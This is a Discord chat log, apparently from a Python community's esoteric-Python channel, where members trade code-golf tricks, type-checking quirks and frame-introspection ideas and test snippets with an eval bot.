#

i just didnt want to dig into types

#

hm

#

will isinstance(attr, (lambda: pass).__class__) work?

earnest snow
#
class XInfo:
     def __init__(self,x):
          self.x = x
     def __call__(self,):
         return self.x

class PrintedFields:
     def __init__(self,...):
         self.xinfo = XInfo(self) # skipped for your '__call__' search
stark granite
#

!e
def ahduhw(): pass
print(isinstance(ahduhw, (lambda: pass).class))

night quarryBOT
#

@stark granite :x: Your 3.11 eval job has completed with return code 1.

001 |   File "/home/main.py", line 2
002 |     print(isinstance(ahduhw, (lambda: pass).__class__))
003 |                                       ^^^^
004 | SyntaxError: invalid syntax
stark granite
#

oh

#

!e
def ahduhw(): pass
print(isinstance(ahduhw, (lambda: (None,)).class))

night quarryBOT
#

@stark granite :white_check_mark: Your 3.11 eval job has completed with return code 0.

True
stark granite
#

gud

earnest snow
#

there are all those

earnest snow
#

just checking for FunctionType will work because, as I said before, Methods are in the type.__dict__ not in the object's __dict__

stark granite
#

!e
print(isinstance(list.append, (lambda: None).class))

night quarryBOT
#

@stark granite :white_check_mark: Your 3.11 eval job has completed with return code 0.

False
stark granite
#

daim

#

wait

#

!e
from types import FunctionType
print(isinstance(list.append, FunctionType))

night quarryBOT
#

@stark granite :white_check_mark: Your 3.11 eval job has completed with return code 0.

False
stark granite
#

wait but it should be True...?

astral rover
#

its not a function

#

its a BuiltinMethodType

stark granite
#

do i have to handle those like separately?

#

are they not like subclass of smth

astral rover
#

yeah, theyre not subclasses for performance reasons

stark granite
#

sad

earnest snow
#

!e

from types import (FunctionType as ft, LambdaType as lt, MethodType as mt, BuiltinFunctionType as bft, BuiltinMethodType as bmt)
def what_function_is_it(func):
    print("FunctionType:", isinstance(func, ft))
    print("LambdaType:", isinstance(func, lt))
    print("MethodType:", isinstance(func, mt))
    print("BuiltinFunctionType:", isinstance(func, bft))
    print("BuiltinMethodType:", isinstance(func, bmt))

def standart_func(): pass
standar_lambda = lambda :None

class EstandarClass:
    def standar_method(self): pass

what_function_is_it(standart_func)
what_function_is_it(standar_lambda )
what_function_is_it(EstandarClass().standar_method)
what_function_is_it(len)
what_function_is_it([].append)
night quarryBOT
#

@earnest snow :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | FunctionType: True
002 | LambdaType: True
003 | MethodType: False
004 | BuiltinFunctionType: False
005 | BuiltinMethodType: False
006 | FunctionType: True
007 | LambdaType: True
008 | MethodType: False
009 | BuiltinFunctionType: False
010 | BuiltinMethodType: False
011 | FunctionType: False
... (truncated - too many lines)

Full output: https://paste.pythondiscord.com/C2HLNIA24NCOIIC3PWXMMMHYYA

earnest snow
#

how truncated?

#

!e

from types import (FunctionType as ft, LambdaType as lt, MethodType as mt, BuiltinFunctionType as bft, BuiltinMethodType as bmt)
def what_function_is_it(func):
    print(int(isinstance(func, ft)), end="")
    print(int(isinstance(func, lt)), end="")
    print(int(isinstance(func, mt)), end="")
    print(int(isinstance(func, bft)), end="")    
    print(int(isinstance(func, bmt)), end="")
    print() # newline

def standart_func(): pass
standar_lambda = lambda :None

class EstandarClass:
    def standar_method(self): pass

what_function_is_it(standart_func)
what_function_is_it(standar_lambda )
what_function_is_it(EstandarClass().standar_method)
what_function_is_it(len)
what_function_is_it([].append)
night quarryBOT
#

@earnest snow :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | 11000
002 | 11000
003 | 00100
004 | 00011
005 | 00011
earnest snow
#

truncate that

compact raven
#

Tip: Unicode characters let you use names that resemble reserved words, but which the compiler does not mistake for reserved words.

    def _atexit() :
        # disable all __del__ methods at process termination to avoid segfaults
        for ċlass in Context, GenericFile :
            delattr(ċlass, "__del__")
        #end for
    #end _atexit
    atexit.register(_atexit)
fleet lintel
#

Seems like more work than it would be worth, compared to the convention of single_trailing_underscore_, ie for class_ in Context, GenericFile:

quartz wave
#

something i just discovered
a SyntaxError that occurs after code that should cause a SyntaxError ```pycon

a={1:2};{5: 2, a}
File "<stdin>", line 1
a=
{1:2};{5: 2, a}
^
SyntaxError: ':' expected after dictionary key
a=*{1:2}
File "<stdin>", line 1
SyntaxError: can't use starred expression here

versed eagle
#

interesting

#

pythons parsing of the unpack operator is kinda silly

compact raven
#

It’s only three keystrokes with a compose key: compose-c-dot → “ċ”.

versed eagle
fleet lintel
#

It's only two with a standard keyboard: shift + hyphen -> _

dire galleon
#

I didn't know code golfing involves least amount of keystrokes

fleet lintel
#

The actual definition varies and can get contentious, but it's usually number of characters, or failing that number of bytes.

dire galleon
#

so why do key strokes matter (2 cf. 3) when every letter counts

#

clearly _c is one character more than ċ, no?

#

which would imply that you lost.

fleet lintel
#

It's even then, both add 3 keystrokes. Currently it isn't a discussion of code golf, but the partiality of using unicode lookalikes to not shadow builtin names. In golf you would always use 1 letter variable names anyways.

versed eagle
quartz wave
quartz wave
dire galleon
#

so everyone's got their own measures for golfing

#

some count by bytes some by # of characters and some by keystrokes

quartz wave
#

there might be a 101 character solution to something that's 250 bytes long

#

like this one ```py
exec(bytes("慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡 慡慡慡慡慡慡慡慡慡慡慡慡","u16")[2:])

#

the original length of the thing was 150 bytes, 150 characters

#

it was just compressed to reduce in character count

#

and then keystrokes would just be hard to measure accurately with everyone agreeing since there are different keyboard layouts

#

some make a character easier to type than others

viscid vault
#

i may have uhhhh made a slight minor error in my code uhhhhh the file is 184 mb in size

orchid nymph
#

!e

print(bytes("慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡慡 慡慡慡慡慡慡慡慡慡慡慡慡","u16")[2:].decode())
night quarryBOT
#

@orchid nymph :white_check_mark: Your 3.11 eval job has completed with return code 0.

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa �aaaaaaaaaaaaaaaaaaaaaaaa
fleet lintel
#

Personally I really don't like that style of compression. The fun is looking at a solution and seeing parts you recognize, but having no clue how the whole thing works. It's no fun when the solution looks the same was when you accidently open a file as text and get garbage data.

languid hare
#

unrelated but

#

aaaaaaaaaaaaa is exactly what i'd say if i were relaxed
慡 translates to relaxed, or soothing

#

neat

versed eagle
#

huh

low lynx
#

it's just hidden under a layer of obfuscation

fleet lintel
#

I just had a funny idea, an instanced counterpart to assert_never() and Never. Instead of a 'this code can never execute', it would be a 'you can't do anything with this. Used for when you want a function to actually not return anything, at least anything useful. As far as I can tell, at least in normal python land you can cover almost every case by just doing py class Unusable: def __dunder_method__(self, item): assert_never(1)
and do that for every single dunder method (except init and del), but you could probably make it a lot more robust with c magic I don't know.

hasty temple
#

is there a surefire way of accessing the self instance from the frame of a method call even if the argument isnt called self?

#

or for example if self gets reassigned later in the function

#
class A:
  def a(self):
    self = ...
    b()

def b():
  caller_frame = sys._getframe(1)
  # how to get self from caller_frame now?
rugged sparrow
#

If you grab the first local that would be self

solid mulch
#

can anyone name some good obfuscators?

gleaming linden
#

Depends on how you define "good" but none are good enough to have a practical purpose

quartz wave
solid mulch
vast wave
#

any obfuscation can and will be broken by someone at some point tho

#

if a computer can execute it, a determined enough human can as well

solid mulch
vast wave
#

not that i know of

#

(i made the obfuscator)

solid mulch
#

okay

hasty temple
#

and is self always guaranteed to be the first local?

#

also grabbing the first local still won't work with reassignment

#

!e

import sys

class A:
  def a(self):
    self = ...
    b()

def b():
  calling_frame = sys._getframe(1)
  print(calling_frame.f_locals)

A().a()
night quarryBOT
#

@hasty temple :white_check_mark: Your 3.11 eval job has completed with return code 0.

{'self': Ellipsis}
hasty temple
#

or is there some other way or getting original locals that im not aware of?

rugged sparrow
#

You can use ctypes tricks to read the locals array, the first item is self (that's how argumentless super() works)

#

You can also parse the code object to figure out which name is the first local (fishhook does that for orig on hooked properties )

hasty temple
#
    assert(_PyFrame_GetCode(cframe)->co_nlocalsplus > 0);
    PyObject *firstarg = _PyFrame_GetLocalsArray(cframe)[0];
    // The first argument might be a cell.
    if (firstarg != NULL && (_PyLocals_GetKind(co->co_localspluskinds, 0) & CO_FAST_CELL)) {
        // "firstarg" is a cell here unless (very unlikely) super()
        // was called from the C-API before the first MAKE_CELL op.
        if (_PyInterpreterFrame_LASTI(cframe) >= 0) {
            // MAKE_CELL and COPY_FREE_VARS have no quickened forms, so no need
            // to use _PyOpcode_Deopt here:
            assert(_PyCode_CODE(co)[0].op.code == MAKE_CELL ||
                   _PyCode_CODE(co)[0].op.code == COPY_FREE_VARS);
            assert(PyCell_Check(firstarg));
            firstarg = PyCell_GET(firstarg);
        }
    }
    if (firstarg == NULL) {
        PyErr_SetString(PyExc_RuntimeError,
                        "super(): arg[0] deleted");
        return -1;
    }
sick hound
#

there is a way to make this very golfing?

a = input()
b = input()
t = input().translate(str.maketrans({a: b, b: a})) #this part
print(t)```
hasty temple
#

''.join({c:c,a:b,b:a}[c]for c in input())

sick hound
#

t.translate({ord(a):b,ord(b):a})

#

i found this one, thanks anyways 0ff

quartz wave
#

if can then here's the shortest ver ```py
a,b=eval('ord(input()),'*2)
print(input().translate({a:b,b:a}))

unique viper
#

i feel like you all might have some opinions on this—is there a way for an object to "know" which classes it's been compared to with isinstance?

#

i attempted to take the __instancecheck__ route, but that only works for when the class is compared to instances. What i'm looking for is this:

o = MyObject()
isinstance(o, int)
isinstance(o, list)
isinstance(o, MyObject)

o.comparisons
>>> [int, list, MyObject]  # or maybe [<type int>, ...], that's fine too
#

if MyObject had the custom __instancecheck__, it would only track when MyObject was on the right

#

i want o to know what it was compared to

unique viper
#

hm... since isinstance probably just asks what the instance's __class__ is, i don't think there's a way for me to do this other than customizing isinstance itself, which isn't what i want to do. 😦

wide crow
# unique viper i attempted to take the `__instancecheck__` route, but that only works for when ...

Note that isinstance(instance, class) in fact calls class.__instancecheck__(self, instance) so each check is on a different class. You are asking for a historical record of checks to be maintained. In that case it would be a record of all checks made for a particular class. When you further consider that isinstance also checks base classes of the class given as an argument, then what you seem to require becomes more and more difficult, if not impossible.

restive void
#

Just overwrite builtins.isinstance to a wrapper

fleet bridge
restive void
#

isinstance doesn't access __class__, it looks at ob_type.

#

!e Ah, no. It first does what I said but doesn't return False until much later, when it did check __class__.

class Foo:
    __class__ = int

f = Foo()

print(type(f), f.__class__, isinstance(f, int))
night quarryBOT
#

@restive void :white_check_mark: Your 3.11 eval job has completed with return code 0.

<class '__main__.Foo'> <class 'int'> True
restive void
#

Still don't see how you could abuse this though. isinstance looks at __class__, yes, but it doesn't compare it with Python's equality (in other words: setting __class__ to an object with a custom __eq__ won't help). PyType_IsSubtype is called on that custom object (I think, at least if you make it a class as well) but then just looks up the tp_mro slot..

potent flare
#

hello esopy people

#
import math
z=lambda:float(input())
print(f"{2*math.pi*z()*z()/60:.2f}")

how can i shorten this

distant salmon
low lynx
#

you could probably get away with truncating 3.1415926535... somewhere

#

since you only need 2 digits of precision

#

in fact just dividing by 30 and then using pi/30 as the constant maybe

#

actually nvm the input could be like 1000000

fleet bridge
#

There is a way to get pi approximation using complex numbers

#

Nvm, its too long

low lynx
#

how

fleet bridge
#
>>> __import__('math').pi
3.141592653589793
>>> ((-1e-9) ** 1e-9).imag*1e9
3.141592588485734
#

definitely can be shortened somehow

#
>>> ((-1)**1e-9).imag*1e9
3.141592653589793
low lynx
#

oh that's really clever

fleet bridge
#

tldr: this works because sinx=x if x is small
-1 == e^ipi == cos(pi) + i * sin(pi)
(-1) ** 1e-9 is 1e9th root of -1, so argument is divided by 1e9
(-1) ** 1e-9 == cos(pi/1e9) + i * sin(pi/1e9)
((-1)**1e-9).imag = sin(pi/1e9) ~= pi/1e9
then multiply it by 1e9 and get pi

distant salmon
fleet bridge
#
>>> ((-1)**1e-9).imag*1e9
3.141592653589793
>>> (1j**1e-9).imag*1e9
1.5707963267948966
>>> (1j**1e-9).imag*2e9
3.141592653589793
#

1j == i has argument pi/2, so we multiply it by extra 2 and get pi

low lynx
#

!e

from math import pi
print(pi/30)
print(((-1)**3e-8).imag*1e9)
night quarryBOT
#

@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | 0.10471975511965977
002 | 94.24777960769364
low lynx
#

hmm

fleet bridge
#

you should divide 1e9 by 30, not multiply

low lynx
#

hmm

#

precision isn't very good

fleet bridge
#

because i did 3.33 instead of 3.3333333333333333 💀

#
>>> ((-1)**3.33e-11).imag*1e9
0.1046150353645401
>>> from math import pi; pi / 30
0.10471975511965977
>>> ((-1)**(1e-9/30)).imag*1e9
0.10471975511965978
#

a lot better

gleaming linden
#
>>> (1j**1e-9).imag*2e8/3
0.10471975511965977
#
(1j**1e-9).imag*2e8/3
import math;math.pi/30
fleet bridge
#

TIL a ** b ** c is a ** (b ** c) and not (a ** b) ** c: ```py

dis('a ** b ** c')
0 0 RESUME 0

1 2 LOAD_NAME 0 (a)
4 LOAD_NAME 1 (b)
6 LOAD_NAME 2 (c)
8 BINARY_OP 8 ()
12 BINARY_OP 8 (
)
16 RETURN_VALUE

gleaming linden
#

That's how it's done in math as well

distant salmon
#

Pow is one of the few operations read right to left in Python

fleet bridge
#

i know, but i was confused for a moment

#
>>> ((-1)**1e-9**-30).imag*1e9
0.0
>>> ((-1)**1e-9**(-1/30)).imag*1e9
-14883326.957898315
>>> ((-1)**1e-9**(1/30)).imag*1e9
999993044.2874776
>>> ((-1)**1e-9**(30)).imag*1e9
3.141592653589799e-261
low lynx
#

we could just forgo the imag

#

or not

distant salmon
#

Using continued fractions

#

!e

from math import pi
print(pi/30)
print(9/86)
print(71/678)
print(17344/165623)
night quarryBOT
#

@distant salmon :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | 0.10471975511965977
002 | 0.10465116279069768
003 | 0.10471976401179942
004 | 0.10471975510647676
low lynx
#

that isn't as precise as the other one tho

distant salmon
#

!e

from math import pi
print(pi/30)
print(9/86)
print(71/678)
print(17344/165623)
print(191068/1824565)
print(723691735/6910747014)
night quarryBOT
#

@distant salmon :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | 0.10471975511965977
002 | 0.10465116279069768
003 | 0.10471976401179942
004 | 0.10471975510647676
005 | 0.10471975511971346
006 | 0.10471975511965978
distant salmon
#

Hmm

low lynx
#

!e

from itertools import cycle
c = cycle([2398.23432, 234231.124314])
input = lambda: next(c)


import math;z=lambda:float(input());print(f"{math.pi*z()*z()/30:.2f}") # 70
z=lambda:float(input());print(f"{(1j**1e-9*2e8/3*z()*z()).imag:.2f}")  # 69
print(f"{eval('float(input())*'*2+'2e8/3*1j**1e-9').imag:.2f}")        # 63
print('%.2f'%eval('float(input())*'*2+'2e8/3*1j**1e-9').imag)          # 61
night quarryBOT
#

@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | 58825392.65
002 | 58825392.65
003 | 58825392.65
004 | 58825392.65
low lynx
#
print('%.2f'%eval('float(input())*1e4*'*2+'1j**2e-9/3').imag)

is also tied for 61

distant salmon
night quarryBOT
#

@distant salmon :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | 58825392.65
002 | 58825393.84
003 | 58825394.68
quartz wave
#

87 base (problem from #1154330411904806923 message) ```py
L,R=map(int,input().split())
print(''.join(str(~x.bit_count()&1)for x in range(L-1,R)))

craggy hamlet
#

how small can we make this?

def isosceles(layer_size, num_of_spaces = 0):
    if layer_size % 2 == 0:
        print("Invalid input.")
        return
    if layer_size < 0:
        return
    isosceles(layer_size - 2, num_of_spaces + 1)
    print(f"{num_of_spaces * ' '}{layer_size * '*'}")
isosceles(9)
gleaming linden
craggy hamlet
gleaming linden
#

I'm gonna golf a version that uses return then

def isosceles(layer_size, num_of_spaces = 0):
    if layer_size % 2 == 0:
        return "Invalid input."
    if layer_size < 0:
        return ""
    isosceles(layer_size - 2, num_of_spaces + 1)
    return f"{num_of_spaces * ' '}{layer_size * '*'}"
print(isosceles(9))
#

Wait no

craggy hamlet
#

this does not work as it is*

gleaming linden
#

I just realized it has recursion

craggy hamlet
#

since you'll only be returning the bottom layer

#

yeah

gleaming linden
#

Rewriting into a loop might be shorter

#

!e ```py
def isosceles(layer_size, num_of_spaces = 0):
if layer_size % 2 == 0:
print("Invalid input.")
return
if layer_size < 0:
return
isosceles(layer_size - 2, num_of_spaces + 1)
print(f"{num_of_spaces * ' '}{layer_size * '*'}")
isosceles(9)

night quarryBOT
#

@gleaming linden :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 |     *
002 |    ***
003 |   *****
004 |  *******
005 | *********
gleaming linden
#

Oh I see

#

!e ```py
isosceles=lambda n:[print(f"{'*'*x:^{n}}")for x in range(1,n+1,2)]

isosceles(9)

night quarryBOT
#

@gleaming linden :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 |     *    
002 |    ***   
003 |   *****  
004 |  ******* 
005 | *********
gleaming linden
#

Well that's all the valid cases sorted

craggy hamlet
#

woew

#

what does this part do: {'*'*x:^{n}}?

#

more specifically x:^{n}

gleaming linden
#

It basically does f"{num_of_spaces * ' '}{layer_size * '*'}"

craggy hamlet
#

i've never seen that syntax before

gleaming linden
#

'*'*x is the string to format

#

And ^{n} is the format code

#

^ means "center the text"

#

And {n} means "make it n characters long"

distant salmon
#

hmm

#

ah

craggy hamlet
#

I have never seen center the text formatting

#

that's useful to know, thank you for showing me!

gleaming linden
#

There's a bunch of other stuff you can do with format codes too

distant salmon
stark granite
#

not the most minimal form, but this thing does similiar thing

stark granite
distant salmon
stark granite
distant salmon
#

It adds 1 to x

stark granite
#

huh

distant salmon
#

~ is called bitinverse

stark granite
distant salmon
#

The reason why -~x == x + 1 is that (~x) + x == -1

#

since -1 in two's complement is an infite bitstring of 1s

fleet bridge
#

im one of the winners 🥳

versed eagle
#

oh

#

nice

#

i forgot about that competition :c

serene stratus
#

same when

young rivet
#

congrats!

sick hound
#

if i have a string "2 2" and i want to convert it into 2 int variables
what can i do instead of map(int,input().split())

floral meteor
#

partition maybe

#

if it had a smaller name it would probably get more use

#

it most definitely is not shorter, but it is funner
map(int,input().partition(' ')[::2])

sick hound
#

wtf

sick hound
#

doesnt map take a function and an iterator?

floral meteor
#

also to actually run map you've got to unpack the generator it outputs so it would look more like
*map(int,input().partition(' ')[::2]),

#

!e ```py
m = map(int,"2 2".partition(' ')[::2])

print(m)
print(*m,)

night quarryBOT
#

@floral meteor :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | <map object at 0x7ff87ab03220>
002 | 2 2
sick hound
#

that give it me an idea but doesnt works